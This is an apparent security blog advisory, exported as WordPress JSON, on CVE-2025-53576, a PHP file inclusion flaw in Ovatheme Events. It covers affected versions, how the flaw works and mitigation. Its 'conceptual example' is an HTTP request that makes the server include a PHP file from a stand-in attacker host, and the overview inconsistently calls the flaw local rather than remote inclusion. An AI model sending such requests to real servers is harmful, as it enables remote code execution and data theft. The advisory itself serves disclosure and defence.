{"id":72736,"date":"2025-09-08T00:12:10","date_gmt":"2025-09-08T00:12:10","guid":{"rendered":""},"modified":"2025-10-10T00:14:11","modified_gmt":"2025-10-10T06:14:11","slug":"cve-2025-53576-critical-php-remote-file-inclusion-vulnerability-in-ovatheme-events","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53576-critical-php-remote-file-inclusion-vulnerability-in-ovatheme-events\/","title":{"rendered":"CVE-2025-53576: Critical PHP Remote File Inclusion Vulnerability in Ovatheme Events<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability identified as CVE-2025-53576 is a critical security flaw that affects ovatheme Ovatheme Events, a popular event management solution. The vulnerability exists due to the improper control of the filename for Include\/Require Statement in PHP Program, leading to a PHP Local File Inclusion (LFI) issue. This vulnerability is significant because it allows an attacker to execute arbitrary PHP<\/a> code, potentially leading to system compromise or data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-53576
\nSeverity: Critical (CVSS: 8.1)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system compromise<\/a> and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Ovatheme Events | n\/a through 1.2.8<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The PHP Remote File Inclusion vulnerability<\/a> arises from the application’s improper control of filenames in the Include\/Require Statements of its PHP code. This flaw allows an attacker to manipulate these statements and include a file from a remote<\/a> server. The included file can contain malicious PHP code that gets executed<\/a> in the context of the application. This can lead to unauthorized access<\/a>, data leakage, or even complete system compromise if the application is running with high privileges.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following conceptual example demonstrates how an attacker might exploit this vulnerability. The attacker sends a request to a vulnerable<\/a> endpoint, manipulating the PHP Include\/Require Statement to include a malicious PHP file from a remote server.<\/p>\n

GET \/vulnerable_endpoint.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, `http:\/\/attacker.com\/malicious_file.php` is a PHP file controlled by the attacker and includes malicious PHP code<\/a>. When the server processes this request, it includes and executes the malicious code, leading to a successful exploit of the vulnerability<\/a>.<\/p>\n
Mitigation<\/strong><\/p>\n
The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempts at exploiting this vulnerability<\/a>. These systems should be configured to detect and prevent the inclusion<\/a> of files from remote servers. Additionally, developers should ensure their code properly sanitizes user input and restricts the files<\/a> that can be included to a known safe list. This can help prevent PHP Remote File Inclusion vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
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